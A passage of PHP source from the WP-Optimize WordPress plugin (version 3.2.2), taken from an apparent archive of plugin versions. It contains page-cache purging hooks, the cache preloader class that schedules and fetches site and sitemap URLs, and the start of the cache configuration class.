			'fields'           => 'ids',
			'tax_query' => array(
				'relation' => 'OR',
				array(
					'taxonomy' => $taxonomy,
					'field'    => 'term_id',
					'terms'    => $term_id,
				)
			),
		));

		if (!empty($posts)) {
			foreach ($posts as $post_id) {
				WPO_Page_Cache::delete_single_post_cache($post_id);
			}
		}
	}

	/**
	 * Triggered by set_object_terms action. Used to clear all the terms archives a post belongs to or belonged to before being saved.
	 *
	 * @param int    $object_id  Object ID.
	 * @param array  $terms      An array of object terms.
	 * @param array  $tt_ids     An array of term taxonomy IDs.
	 * @param string $taxonomy   Taxonomy slug.
	 * @param bool   $append     Whether to append new terms to the old terms.
	 * @param array  $old_tt_ids Old array of term taxonomy IDs.
	 */
	public function purge_related_elements_on_post_terms_change($object_id, $terms, $tt_ids, $taxonomy, $append, $old_tt_ids) {

		$post_type = get_post_type($object_id);

		if ((defined('DOING_AUTOSAVE') && DOING_AUTOSAVE) || 'revision' === $post_type || 'product_type' === $taxonomy || 'action-group' === $taxonomy) {
			return;
		}

		/**
		 * Adds a way to exit the purge of terms permalink using the provided parameters.
		 *
		 * @param bool   $purge      The value filtered, whether or not to purge the related elements
		 * @param int    $object_id  Object ID.
		 * @param array  $terms      An array of object terms.
		 * @param array  $tt_ids     An array of term taxonomy IDs.
		 * @param string $taxonomy   Taxonomy slug.
		 * @param bool   $append     Whether to append new terms to the old terms.
		 * @param array  $old_tt_ids Old array of term taxonomy IDs.
		 * @default true
		 * @return boolean
		 */
		if (!apply_filters('wpo_cache_purge_related_elements_on_post_terms_change', true, $object_id, $terms, $tt_ids, $taxonomy, $append, $old_tt_ids)) return;

		// get all affected terms.
		$affected_terms_ids = array_unique(array_merge($tt_ids, $old_tt_ids));

		if (!empty($affected_terms_ids)) {
			// walk through all changed terms and purge cached pages for them.
			foreach ($affected_terms_ids as $tt_id) {
				$term = get_term($tt_id, $taxonomy, ARRAY_A);
				if (!is_array($term)) continue;

				$term_permalink = get_term_link($term['term_id']);
				if (!is_wp_error($term_permalink)) {
					$url = parse_url($term_permalink);
					// Check if the permalink contains a valid path, to avoid deleting the whole cache.
					if (!isset($url['path']) || '/' === $url['path']) return;
					WPO_Page_Cache::delete_cache_by_url($term_permalink, true);
				}
			}
		}
	}

	/**
	 * Purge product page upon stock update
	 */
	public function purge_product_page($product_with_stock) {
		if (!empty($product_with_stock->get_id())) {
			WPO_Page_Cache::delete_single_post_cache($product_with_stock->get_id());
		}
	}

	/**
	 * Clears the cache.
	 */
	public function purge_cache() {
		if (!empty($this->config['enable_page_caching'])) {
			wpo_cache_flush();
		}
	}

	/**
	 * Triggered by wpo_cache_config_updated.
	 *
	 * @param array $config
	 */
	public function cache_config_updated($config) {
		// delete front page form cache if defined in the settings
		if (is_array($config['cache_exception_urls']) && in_array('/', $config['cache_exception_urls'])) {
			WPO_Page_Cache::delete_cache_by_url(home_url());
		}
	}

	/**
	 * Add cookie names that are need separate caching
	 */
	public function wpo_cache_cookies($cookies) {
		$cookies[] = 'cookie_notice_accepted';
		$cookies[] = 'cookielawinfo-checkbox-necessary';
		$cookies[] = 'cookielawinfo-checkbox-functional';
		$cookies[] = 'cookielawinfo-checkbox-advertisement';
		$cookies[] = 'cookielawinfo-checkbox-others';
		$cookies[] = 'cookielawinfo-checkbox-analytics';
		$cookies[] = 'cookielawinfo-checkbox-performance';
		return $cookies;
	}

	/**
	 * Returns an instance of the current class, creates one if it doesn't exist
	 *
	 * @return object
	 */
	public static function instance() {
		if (empty(self::$instance)) {
			self::$instance = new self();
		}
		return self::$instance;
	}
}

endif;
cms/wordpress/wp-optimize-versions/wp-optimize.3.2.2/wp-optimize/cache/class-wpo-cache-preloader.php000644 000000 000000 00000071010 14151417634 034037 0ustar00rootwheel000000 000000 <?php

if (!defined('ABSPATH')) die('No direct access allowed');

if (!class_exists('Updraft_Task_Manager_1_3')) require_once(WPO_PLUGIN_MAIN_PATH . 'vendor/team-updraft/common-libs/src/updraft-tasks/class-updraft-task-manager.php');

if (!class_exists('WP_Optimize_Load_Url_Task')) require_once(dirname(__FILE__) . '/class-wpo-load-url-task.php');

class WP_Optimize_Page_Cache_Preloader extends Updraft_Task_Manager_1_3 {

	private $task_type = 'load-url-task';

	private $options;

	static protected $_instance = null;

	/**
	 * WP_Optimize_Page_Cache_Preloader constructor.
	 */
	public function __construct() {
		parent::__construct();

		$this->options = WP_Optimize()->get_options();
		// setup loggers
		$this->set_loggers(WP_Optimize()->wpo_loggers());

		add_filter('cron_schedules', array($this, 'cron_add_intervals'));
		add_action('wpo_page_cache_preload_continue', array($this, 'process_tasks_queue'));
		add_action('wpo_page_cache_schedule_preload', array($this, 'run_scheduled_cache_preload'));
		add_filter('updraft_interrupt_tasks_queue_'.$this->task_type, array($this, 'maybe_interrupt_queue'), 20);
	}

	/**
	 * Check if cache is active.
	 *
	 * @return bool
	 */
	public function is_cache_active() {
		return WP_Optimize()->get_page_cache()->is_enabled();
	}

	/**
	 * Schedule or delete automatic preload action on cache settings update.
	 *
	 * @param array $new_settings      The new settings
	 * @param array $previous_settings Settings before saving
	 */
	public function cache_settings_updated($new_settings, $previous_settings) {
		if (!$new_settings['enable_page_caching']) {
			wp_clear_scheduled_hook('wpo_page_cache_schedule_preload');
			$this->delete_preload_continue_action();
			return;
		}

		if (!empty($new_settings['enable_schedule_preload'])) {

			$last_schedule_type = $previous_settings['preload_schedule_type'];

			if (wp_next_scheduled('wpo_page_cache_schedule_preload')) {
				// if already scheduled this schedule type
				if ($new_settings['preload_schedule_type'] == $last_schedule_type) {
					// If the schedule type is cache lifespan, check if the cache lifespan changed.
					if ('wpo_use_cache_lifespan' == $new_settings['preload_schedule_type']) {
						// Else, if the settings cache lifespan settings haven't changed, returns
						if ($new_settings['page_cache_length_value'] == $previous_settings['page_cache_length_value'] && $new_settings['page_cache_length_unit'] == $previous_settings['page_cache_length_unit']) {
							return;
						}
					} else {
						return;
					}
				}
				// clear currently scheduled preload action.
				wp_clear_scheduled_hook('wpo_page_cache_schedule_preload');
			}
			// schedule preload action.
			wp_schedule_event((time() + $this->get_schedule_interval($new_settings['preload_schedule_type'])), $new_settings['preload_schedule_type'], 'wpo_page_cache_schedule_preload');
		} else {
			wp_clear_scheduled_hook('wpo_page_cache_schedule_preload');
		}

	}

	/**
	 * Clear active preload tasks, reschedule preload action.
	 */
	public function reschedule_preload() {
		// clear scheduled action.
		if (wp_next_scheduled('wpo_page_cache_schedule_preload')) {
			wp_clear_scheduled_hook('wpo_page_cache_schedule_preload');
		}

		// schedule preload action if need.
		if ($this->is_scheduled_preload_enabled()) {
			$preload_schedule_type = $this->get_cache_config('preload_schedule_type');
			wp_schedule_event(time() + $this->get_schedule_interval($preload_schedule_type), $preload_schedule_type, 'wpo_page_cache_schedule_preload');
		}
	}

	/**
	 * Check if scheduled preload enabled.
	 *
	 * @return bool
	 */
	public function is_scheduled_preload_enabled() {
		$enable_schedule_preload = $this->get_cache_config('enable_schedule_preload');
		return !empty($enable_schedule_preload);
	}

	/**
	 * Get a schedule interval
	 *
	 * @param string $schedule_key The schedule to check
	 * @return integer
	 */
	private function get_schedule_interval($schedule_key) {
		$schedules = wp_get_schedules();
		if (!isset($schedules[$schedule_key])) {
			$this->log('Could not get interval for event of type '.$schedule_key);
			return 0;
		}
		return isset($schedules[$schedule_key]['interval']) ? $schedules[$schedule_key]['interval'] : 0;
	}

	/**
	 * Add intervals to cron schedules.
	 *
	 * @param array $schedules
	 *
	 * @return array
	 */
	public function cron_add_intervals($schedules) {
		$interval = $this->get_continue_preload_cron_interval();
		$schedules['wpo_page_cache_preload_continue_interval'] = array(
			'interval' => $interval,
			'display' => round($interval / 60, 1).' minutes'
		);

		$schedules['wpo_use_cache_lifespan'] = array(
			'interval' => WPO_Cache_Config::instance()->get_option('page_cache_length'),
			'display' => 'Same as cache lifespan: '.WPO_Cache_Config::instance()->get_option('page_cache_length_value').' '.WPO_Cache_Config::instance()->get_option('page_cache_length_unit')
		);

		return $schedules;
	}

	/**
	 * Get the interval to continuing a preload task
	 *
	 * @return integer
	 */
	private function get_continue_preload_cron_interval() {
		/**
		 * Filters the interval between each preload attempt, in seconds.
		 */
		return (int) apply_filters('wpo_page_cache_preload_continue_interval', 600);
	}

	/**
	 * Schedule action for continuously preload.
	 */
	public function schedule_preload_continue_action() {
		$continue_in = wp_next_scheduled('wpo_page_cache_preload_continue');

		// Action is still scheduled
		if ($continue_in && $continue_in > 0) return;
		// Action is overdue, delete it and re schedule it
		if ($continue_in && $continue_in < 0) $this->delete_preload_continue_action();

		wp_schedule_event(time() + $this->get_schedule_interval('wpo_page_cache_preload_continue_interval'), 'wpo_page_cache_preload_continue_interval', 'wpo_page_cache_preload_continue');
	}

	/**
	 * Delete scheduled action for continuously preload.
	 */
	public function delete_preload_continue_action() {
		wp_clear_scheduled_hook('wpo_page_cache_preload_continue');
	}

	/**
	 * Run cache preload. If task queue is empty it creates tasks for site urls.
	 *
	 * @param string $type     - The preload type (schedule | manual)
	 * @param array  $response - Specific response for echo into output thread when browser connection closing.
	 * @return array|void - Void when closing the browser connection
	 */
	public function run($type = 'scheduled', $response = null) {
		if (!$this->is_cache_active()) {
			return array(
				'success' => false,
				'error' => __('Page cache is disabled.', 'wp-optimize')
			);
		}

		if (empty($response)) {
			$response = array('success' => true);
		}

		$this->delete_cancel_flag();

		// trying to lock semaphore.

		$creating_tasks_semaphore = new Updraft_Semaphore_3_0('wpo_cache_preloader_creating_tasks');
		$lock = $creating_tasks_semaphore->lock();

		// if semaphore haven't locked then just return response.
		if (!$lock) {
			return array(
				'success' => false,
				'error' => __('Probably page cache preload is running already.', 'wp-optimize')
			);
		}

		$is_wp_cli = defined('WP_CLI') && WP_CLI;

		// close browser connection and continue work.
		// don't close connection for WP-CLI
		if (false == $is_wp_cli) {
			WP_Optimize()->close_browser_connection(json_encode($response));
		}

		// trying to change time limit.
		WP_Optimize()->change_time_limit();

		$status = $this->get_status($this->task_type);

		if (0 == $status['all_tasks'] && $lock) {
			if (is_multisite()) {
				$sites = WP_Optimize()->get_sites();

				foreach ($sites as $site) {
					switch_to_blog($site->blog_id);
					$this->create_tasks_for_preload_site_urls($type);
					restore_current_blog();
				}
			} else {
				$this->create_tasks_for_preload_site_urls($type);
			}
		}

		if ($lock) $creating_tasks_semaphore->release();

		$this->process_tasks_queue();

		// return $response in WP-CLI mode
		if ($is_wp_cli) {
			return $response;
		}
	}

	/**
	 * Check if we need run cache preload and run it.
	 */
	public function run_scheduled_cache_preload() {

		$schedule_type = WPO_Cache_Config::instance()->get_option('preload_schedule_type');
		if (!$schedule_type) return;

		// Don't run preload if cache lifespan option enabled and cache not expired yet.
		if ('wpo_use_cache_lifespan' == $schedule_type) {

			/**
			 * Filters the allowed time difference between the cache exiry and the current time, in seconds.
			 * If the cache expires in less than $allowed_time_difference, preload. Otherwise leave it.
			 *
			 * @param integer $allowed_time_difference The time difference, in seconds (default = 600)
			 */
			$allowed_time_difference = apply_filters('wpo_preload_allowed_time_difference', 600);
			$page_cache_lifespan = WPO_Cache_Config::instance()->get_option('page_cache_length', 0);
			$last_preload_time = $this->options->get_option('wpo_last_page_cache_preload', 0);
			$time_since_last_preload = time() - $last_preload_time;
			$minimum_time_to_next_schedule_preload = $page_cache_lifespan - $allowed_time_difference;
			// Skip this if the last preload is not as old as the cache lifespan minus $allowed_time_difference
			if ($page_cache_lifespan > 0 && $time_since_last_preload < $minimum_time_to_next_schedule_preload) return;
		}

		$this->run();
	}

	/**
	 * Process tasks queue.
	 */
	public function process_tasks_queue() {
		// schedule continue preload action.
		$this->schedule_preload_continue_action();

		if (!$this->process_queue($this->task_type)) {
			return;
		}

		// delete scheduled continue preload action.
		$this->delete_preload_continue_action();

		// update last cache preload time only if processing any tasks, else process was cancelled.
		if ($this->is_running()) {
			$this->options->update_option('wpo_last_page_cache_preload', time());
		}

		$this->clean_up_old_tasks($this->task_type);
	}

	/**
	 * Find out if the current queue should be interrupted
	 *
	 * @param boolean $interrupt
	 * @return boolean
	 */
	public function maybe_interrupt_queue($interrupt) {

		if ($interrupt) return $interrupt;

		static $memory_threshold = null;
		if (null == $memory_threshold) {
			/**
			 * Filters the minimum memory required before stopping a queue. Default: 10MB
			 */
			$memory_threshold = apply_filters('wpo_page_cache_preload_memory_threshold', 10485760);
		}

		return WP_Optimize()->get_free_memory() < $memory_threshold;
	}

	/**
	 * Delete all preload tasks from queue.
	 */
	public function cancel_preload() {
		$this->set_cancel_flag();
		$this->delete_tasks($this->task_type);
		$this->delete_preload_continue_action();
	}

	/**
	 * Set 'cancel' option to true.
	 */
	public function set_cancel_flag() {
		$this->options->update_option('last_page_cache_preload_cancel', true);
	}

	/**
	 * Delete 'cancel' option.
	 */
	public function delete_cancel_flag() {
		$this->options->delete_option('last_page_cache_preload_cancel');
	}

	/**
	 * Check if the last preload is cancelled.
	 *
	 * @return bool
	 */
	public function is_cancelled() {
		return $this->options->get_option('last_page_cache_preload_cancel', false);
	}

	/**
	 * Check if preloading queue is processing.
	 *
	 * @return bool
	 */
	public function is_busy() {
		return $this->is_semaphore_locked($this->task_type) || $this->is_semaphore_locked('wpo_cache_preloader_creating_tasks');
	}

	/**
	 * Get current status of preloading urls.
	 *
	 * @return array
	 */
	public function get_status_info() {

		$status = $this->get_status($this->task_type);
		$cache_size = WP_Optimize()->get_page_cache()->get_cache_size();

		if ($this->is_semaphore_locked('wpo_cache_preloader_creating_tasks') && !$this->is_cancelled()) {
			// we are still creating tasks.
			return array(
				'done' => false,
				'message' => __('Loading URLs...', 'wp-optimize'),
				'size' => WP_Optimize()->format_size($cache_size['size']),
				'file_count' => $cache_size['file_count']
			);
		} elseif ($status['complete_tasks'] == $status['all_tasks']) {
			$gmt_offset = (int) (3600 * get_option('gmt_offset'));

			$last_preload_time = $this->options->get_option('wpo_last_page_cache_preload');

			if ($last_preload_time) {

				$last_preload_time_str = date_i18n(get_option('time_format').', '.get_option('date_format'), $last_preload_time + $gmt_offset);

				return array(
					'done' => true,
					'message' => sprintf(__('Last preload finished at %s', 'wp-optimize'), $last_preload_time_str),
					'size' => WP_Optimize()->format_size($cache_size['size']),
					'file_count' => $cache_size['file_count']
				);
			} else {
				return array(
					'done' => true,
					'size' => WP_Optimize()->format_size($cache_size['size']),
					'file_count' => $cache_size['file_count']
				);
			}
		} else {
			$preload_resuming_time = wp_next_scheduled('wpo_page_cache_preload_continue');
			$preload_resuming_in = $preload_resuming_time ? $preload_resuming_time - time() : 0;
			$preloaded_message = sprintf(_n('%1$s out of %2$s URL preloaded', '%1$s out of %2$s URLs preloaded', $status['all_tasks'], 'wp-optimize'), $status['complete_tasks'], $status['all_tasks']);
			if ('sitemap' == $this->options->get_option('wpo_last_page_cache_preload_type', '')) {
				$preloaded_message = __('Preloading posts found in sitemap:', 'wp-optimize') .' '. $preloaded_message;
			}
			$return = array(
				'done' => false,
				'message' => $preloaded_message,
				'size' => WP_Optimize()->format_size($cache_size['size']),
				'file_count' => $cache_size['file_count'],
				'resume_in' => $preload_resuming_in
			);
			if (defined('DOING_AJAX') && DOING_AJAX) {
				// if no cron was found or cron is overdue more than 20s, trigger it
				if (!$preload_resuming_time || $preload_resuming_in < -20) {
					$this->run($return);
				}
			}
			return $return;
		}
	}

	/**
	 * Check if preload action in process.
	 *
	 * @return bool
	 */
	public function is_running() {
		$status = $this->get_status($this->task_type);

		if ($status['all_tasks'] > 0) return true;
	}

	/**
	 * Get cache config option value.
	 *
	 * @return mixed
	 */
	public function get_cache_config($option) {
		static $config = null;

		if (null === $config) $config = WPO_Page_Cache::instance()->config->get();

		if (is_array($config) && array_key_exists($option, $config)) {
			return $config[$option];
		}

		return false;
	}

	/**
	 * Create tasks (WP_Optimize_Load_Url_Task) for preload all urls from site.
	 *
	 * @param string $type The preload type (currently: scheduled, manual)
	 * @return void
	 */
	public function create_tasks_for_preload_site_urls($type) {
		$urls = $this->get_site_urls();

		if (!empty($urls)) {

			$this->log(__('Creating tasks for preload site urls.', 'wp-optimize'));

			foreach ($urls as $url) {
				if (wpo_url_in_exceptions($url)) continue;

				if ($this->url_is_already_cached($url, $type)) {
					continue;
				}

				// this description is being used for internal purposes.
				$description = 'Preload - '.$url;
				$options = array('url' => $url, 'preload_type' => $type, 'anonymous_user_allowed' => (defined('DOING_CRON') && DOING_CRON) || (defined('WP_CLI') && WP_CLI));

				WP_Optimize_Load_Url_Task::create_task($this->task_type, $description, $options, 'WP_Optimize_Load_Url_Task');
			}

			$this->log(__('Tasks for preload site urls created.', 'wp-optimize'));
		}
	}

	/**
	 * Preload desktop version from url.
	 *
	 * @param string $url
	 *
	 * @return void
	 */
	public function preload_desktop($url) {
		$desktop_args = array(
			'httpversion' => '1.1',
			'user-agent'  => 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36',
			'timeout'     => 10,
			'headers'     => array(
				'X-WP-Optimize-Cache-Preload' => 'Yes',
			),
		);

		$desktop_args = apply_filters('wpo_page_cache_preloader_desktop_args', $desktop_args, $url);

		$this->log('preload_desktop - '. $url);

		wp_remote_get($url, $desktop_args);
	}


	/**
	 * Preload mobile version from $url.
	 *
	 * @param string $url
	 *
	 * @return void
	 */
	public function preload_mobile($url) {
		static $is_mobile_caching_enabled;
		if (!isset($is_mobile_caching_enabled)) {
			$is_mobile_caching_enabled = $this->get_cache_config('enable_mobile_caching');
		}

		// Only run if option is active
		if (!$is_mobile_caching_enabled) return;

		$mobile_args = array(
			'httpversion' => '1.1',
			'user-agent'  => 'Mozilla/5.0 (iPhone; CPU iPhone OS 9_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13B143 Safari/601.1',
			'timeout'     => 10,
			'headers'     => array(
				'X-WP-Optimize-Cache-Preload' => 'Yes',
			),
		);

		$mobile_args = apply_filters('wpo_page_cache_preloader_mobile_args', $mobile_args, $url);

		$this->log('preload_mobile - ' . $url);

		wp_remote_get($url, $mobile_args);
	}

	/**
	 * Preload amp version from $url.
	 *
	 * @param string $url
	 *
	 * @return void
	 */
	public function preload_amp($url) {
		if (!apply_filters('wpo_should_preload_amp', false, $url)) return;

		$amp_args = array(
			'httpversion' => '1.1',
			'user-agent'  => 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36',
			'timeout'     => 10,
			'headers'     => array(
				'X-WP-Optimize-Cache-Preload' => 'Yes',
			),
		);

		$url = untrailingslashit($url) . '/amp/';

		$amp_args = apply_filters('wpo_page_cache_preloader_amp_args', $amp_args, $url);

		$this->log('preload_amp - ' . $url);

		wp_remote_get($url, $amp_args);
	}

	/**
	 * Check if sitemap exists then returns list of urls from sitemap file otherwise returns all posts urls.
	 *
	 * @return array
	 */
	public function get_site_urls() {

		$urls = $this->get_sitemap_urls();

		if (!empty($urls)) {
			$this->options->update_option('wpo_last_page_cache_preload_type', 'sitemap');
		} else {
			$urls = $this->get_post_urls();
			$this->options->update_option('wpo_last_page_cache_preload_type', 'posts');
		}

		$this->log(sprintf(_n('%d url found.', '%d urls found.', count($urls), 'wp-optimize'), count($urls)));

		/**
		 * Filter the URLs which will be preloaded
		 *
		 * @param array $urls
		 * @return array
		 */
		return apply_filters('wpo_preload_get_site_urls', $urls);
	}

	/**
	 * Loads sitemap file and returns list of urls.
	 *
	 * @param string $sitemap_url
	 *
	 * @return array|bool
	 */
	public function get_sitemap_urls($sitemap_url = '') {

		$urls = array();

		// if sitemap url is empty then use main sitemap file name.
		$sitemap_url = ('' === $sitemap_url) ? site_url('/'.$this->get_sitemap_filename()) : $sitemap_url;

		// if simplexml_load_string not available then we don't load sitemap.
		if (!function_exists('simplexml_load_string')) {
			return $urls;
		}

		// load sitemap file.
		$response = wp_remote_get($sitemap_url, array('timeout' => 30));

		// if we get error then
		if (is_wp_error($response)) {
			$response = file_get_contents($sitemap_url);

			// if response is empty then try load from file.
			if (empty($response) && '' == $sitemap_url) {
				$sitemap_file = $this->get_local_sitemap_file();

				$response = file_get_contents($sitemap_file);
			}

			if (empty($response)) return $urls;

			$xml = @simplexml_load_string($response); // phpcs:ignore Generic.PHP.NoSilencedErrors.Discouraged
		} else {
			// parse xml answer.
			$xml = @simplexml_load_string(wp_remote_retrieve_body($response)); // phpcs:ignore Generic.PHP.NoSilencedErrors.Discouraged
		}

		// xml file has not valid xml content then return false.
		if (false === $xml) return false;

		// if exists urls then return them.
		if (isset($xml->url)) {
			foreach ($xml->url as $element) {
				if (!isset($element->loc)) continue;
				$urls[] = (string) $element->loc;
			}
		} elseif (isset($xml->sitemap)) {
			// if has links to other sitemap files then get urls from them.
			foreach ($xml->sitemap as $element) {
				if (!isset($element->loc)) continue;

				$sitemap_urls = $this->get_sitemap_urls($element->loc);

				if (is_array($sitemap_urls)) {
					$urls = array_merge($urls, $sitemap_urls);
				}
			}
		}

		return $urls;
	}

	/**
	 * Get the path to a local sitemap file
	 *
	 * @return string
	 */
	private function get_local_sitemap_file() {
		if (!function_exists('get_home_path')) {
			include_once ABSPATH . '/wp-admin/includes/file.php';
		}
		return trailingslashit(get_home_path()) . $this->get_sitemap_filename();
	}

	/**
	 * Get all posts of any post type and returns urls for them.
	 *
	 * @return array
	 */
	public function get_post_urls() {
		global $post;

		$offset = 0;
		$posts_per_page = 1000;
		$urls = array();

		$urls[] = site_url('/');

		do {
			$query = new WP_Query(array(
				'post_type'         => 'any',
				'post_status'       => 'publish',
				'posts_per_page'    => $posts_per_page,
				'offset'            => $offset,
				'orderby'           => 'ID',
				'order'             => 'ASC',
				'cache_results'     => false, // disable cache to avoid memory error.
			));

			$posts_loaded = $query->post_count;

			while ($query->have_posts()) {
				$query->the_post();
				$permalink = get_permalink();
				$urls[] = $permalink;

				// check page separators in the post content
				preg_match_all('/\<\!--nextpage--\>/', $post->post_content, $matches);
				// if there any separators add urls for each page
				if (count($matches[0])) {
					$prefix = strpos($permalink, '?') ? '&page=' : '';
					for ($page = 0; $page < count($matches[0]); $page++) {
						if ('' != $prefix) {
							$urls[] = $permalink . $prefix . ($page+2);
						} else {
							$urls[] = trailingslashit($permalink) . ($page+2);
						}
					}
				}
			}

			$offset += $posts_loaded;
		} while ($posts_loaded > 0);

		/**
		 * If domain mapping enabled then replace domains in urls.
		 */
		if ($this->is_domain_mapping_enabled()) {
			$blog_id = get_current_blog_id();

			$mapped_domain = $this->get_mapped_domain($blog_id);
			$blog_details = get_blog_details($blog_id);

			if ($mapped_domain) {
				foreach ($urls as $i => $url) {
					$urls[$i] = preg_replace('/'.$blog_details->domain.'/i', $mapped_domain, $url, 1);
				}
			}
		}

		wp_reset_postdata();

		return $urls;
	}

	/**
	 * Check if domain mapping enabled.
	 *
	 * @return bool
	 */
	public function is_domain_mapping_enabled() {
		// SUNRISE constant is defined with installation WordPress MU Domain Mapping plugin.
		$enabled = is_multisite() && defined('SUNRISE') && 'on' == strtolower(SUNRISE);

		/**
		 * Filters if Multisite Domain mapping is enabled.
		 * Currently, we can only detect if the WordPress MU Domain Mapping plugin is in use.
		 * Using the WP Core functionality should not require this, unless if the domain name is set somewhere else but in the site url option.
		 */
		return apply_filters('wpo_is_domain_mapping_enabled', $enabled);
	}

	/**
	 * Return mapped domain by $blog_id.
	 *
	 * @param int $blog_id
	 *
	 * @return string
	 */
	public function get_mapped_domain($blog_id) {
		global $wpdb;

		$domain = '';
		$multisite_plugin_table_name = $wpdb->base_prefix.'domain_mapping';
		// Check if table exists
		if ($wpdb->get_var("SHOW TABLES LIKE '$multisite_plugin_table_name'") != $multisite_plugin_table_name) {
			// This table created in WordPress MU Domain Mapping plugin.
			$row = $wpdb->get_row("SELECT `domain` FROM {$multisite_plugin_table_name} WHERE `blog_id` = {$blog_id} AND `active` = 1", ARRAY_A);
			if (!empty($row)) {
				$domain = $row['domain'];
			}
		} else {
			// When using the WP Core method, the site url option contains the mapped domain.
			$domain = get_site_url($blog_id);
		}

		/**
		 * Filters the mapped domain name
		 *
		 * @param string  $domain  The domain name
		 * @param integer $blog_id The blog ID
		 */
		return apply_filters('wpo_get_mapped_domain', $domain, $blog_id);
	}

	/**
	 * Captures and logs any interesting messages
	 *
	 * @param String $message    - the error message
	 * @param String $error_type - the error type
	 */
	public function log($message, $error_type = 'info') {

		if (isset($this->loggers)) {
			foreach ($this->loggers as $logger) {
				$logger->log($message, $error_type);
			}
		}
	}

	/**
	 * Instance of WP_Optimize_Page_Cache_Preloader.
	 *
	 * @return WP_Optimize_Page_Cache_Preloader
	 */
	public static function instance() {
		if (empty(self::$_instance)) {
			self::$_instance = new WP_Optimize_Page_Cache_Preloader();
		}

		return self::$_instance;
	}

	/**
	 * Get sitemap filename.
	 *
	 * @return string
	 */
	private function get_sitemap_filename() {
		/**
		 * Filter the sitemap file used to collect the URLs to preload
		 *
		 * @param string $filename - The sitemap name
		 * @default sitemap.xml
		 */
		return apply_filters('wpo_cache_preload_sitemap_filename', 'sitemap.xml');
	}

	/**
	 * Check if semaphore is locked.
	 *
	 * @param string $semaphore
	 * @return bool
	 */
	private function is_semaphore_locked($semaphore) {
		$semaphore = new Updraft_Semaphore_3_0($semaphore);
		if ($semaphore->lock()) {
			$semaphore->release();
			return false;
		}
		return true;
	}

	/**
	 * Check if the URL is already cached, or needs to be preloaded
	 *
	 * @param string $url          The preloaded url
	 * @param string $preload_type The preload type (manual | scheduled)
	 * @return boolean
	 */
	private function url_is_already_cached($url, $preload_type) {
		static $files = array();
		$regenerate_count = 0;
		$folder = trailingslashit(WPO_CACHE_FILES_DIR) . wpo_get_url_path($url);
		// If the folder does not exist, consider the URL as cleared
		if (!is_dir($folder)) return false;

		if (empty($files)) {
			// Check only the base files
			$files[] = 'index.html';

			if (WPO_Cache_Config::instance()->get_option('enable_mobile_caching')) {
				$files[] = 'mobile.index.html';
			}
			$files = apply_filters('wpo_maybe_clear_files_list', $files);
		}

		foreach ($files as $file) {
			$file_path = trailingslashit($folder).$file;
			if (!file_exists($file_path)) {
				// The file does not exist, count it as "deleted"
				$regenerate_count++;
				continue;
			}

			if ($this->should_regenerate_file($file_path, $preload_type)) {
				// delefe the expired cache file
				unlink($file_path);
				$regenerate_count++;
			}
		}

		// if 0 == $regenerate_count, nothing all the expected files exist, and none were deleted.
		return 0 == $regenerate_count;
	}

	/**
	 * Determine if a file should be regenerated
	 *
	 * @param string $path         The file to check
	 * @param string $preload_type The preload type (manual | scheduled)
	 *
	 * @return boolean
	 */
	private function should_regenerate_file($path, $preload_type) {
		// Store the variables, as they'll be used for each file and each file
		static $is_preloader_scheduled = null;
		static $lifespan = null;
		static $schedule_type = null;
		static $schedule_interval = null;
		static $lifespan_expiry_threshold = null;
		static $always_regenerate_file_if_preload_is_manual = null;
		static $always_regenerate_file_if_preload_is_scheduled = null;
		static $regenerate_file_when_no_expiry_date = null;

		// Sets the variables once per request:
		if (null === $is_preloader_scheduled) {
			$is_preloader_scheduled = WPO_Cache_Config::instance()->get_option('enable_schedule_preload');
			$schedule_type = WPO_Cache_Config::instance()->get_option('preload_schedule_type');
			$lifespan = WPO_Cache_Config::instance()->get_option('page_cache_length');
			$schedule_interval = $this->get_schedule_interval($schedule_type);

			/**
			 * Expiry threshold: the current file will be considered stale if within the threshold. Default: 600s (10min)
			 */
			$lifespan_expiry_threshold = apply_filters('wpo_lifespan_expiry_threshold', 600);

			/**
			 * Filters if a cache should systematically be regenerated when running a manual preload. Default: false
			 */
			$always_regenerate_file_if_preload_is_manual = apply_filters('wpo_always_regenerate_file_if_preload_is_manual', false);

			/**
			 * Filters if a cache should systematically be regenerated when running a scheduled preload. Default: false
			 */
			$always_regenerate_file_if_preload_is_scheduled = apply_filters('wpo_always_regenerate_file_if_preload_is_scheduled', false);

			/**
			 * Filters if a cache should systematically be regenerated when running a preload and no schedule is set, and cache does not expire. Default: true
			 */
			$regenerate_file_when_no_expiry_date = apply_filters('wpo_regenerate_file_when_no_expiry_date', true);
		}

		if (($always_regenerate_file_if_preload_is_manual && 'manual' == $preload_type) || ($always_regenerate_file_if_preload_is_scheduled && 'scheduled' == $preload_type)) {
			$result = true;
		} else {

			$modified_time = (int) filemtime($path);

			// cache lifespan is set.
			if (0 != $lifespan) {
				$expiry_time = $modified_time + $lifespan - $lifespan_expiry_threshold;
				$result = time() > $expiry_time;
			} elseif ($is_preloader_scheduled) {
				$expiry_time = $modified_time + $schedule_interval - $lifespan_expiry_threshold;
				$result = time() > $expiry_time;
			} else {
				$result = $regenerate_file_when_no_expiry_date;
			}
			
		}
		
		return apply_filters('wpo_preloader_should_regenerate_file', $result, $path, $preload_type);
	}
}

WP_Optimize_Page_Cache_Preloader::instance();
cms/wordpress/wp-optimize-versions/wp-optimize.3.2.2/wp-optimize/cache/class-wpo-cache-config.php000644 000000 000000 00000016267 13730076454 033347 0ustar00rootwheel000000 000000 <?php

if (!defined('ABSPATH')) die('No direct access allowed');

/**
 * Handles cache configuration and related I/O
 */

if (!class_exists('WPO_Cache_Config')) :

class WPO_Cache_Config {

	/**
	 * Defaults
	 *
	 * @var array
	 */
	public $defaults;

	/**
	 * Instance of this class
	 *
	 * @var mixed
	 */
	public static $instance;


	/**
	 * Set config defaults
	 */
	public function __construct() {
		$this->defaults = $this->get_defaults();
	}

	/**
	 * Get config from file or cache
	 *
	 * @return array
	 */
	public function get() {

		if (is_multisite()) {
			$config = get_site_option('wpo_cache_config', $this->get_defaults());
		} else {
			$config = get_option('wpo_cache_config', $this->get_defaults());
		}

		return wp_parse_args($config, $this->get_defaults());
	}

	/**
	 * Get a specific configuration option
	 *
	 * @param string  $option_key The option identifier
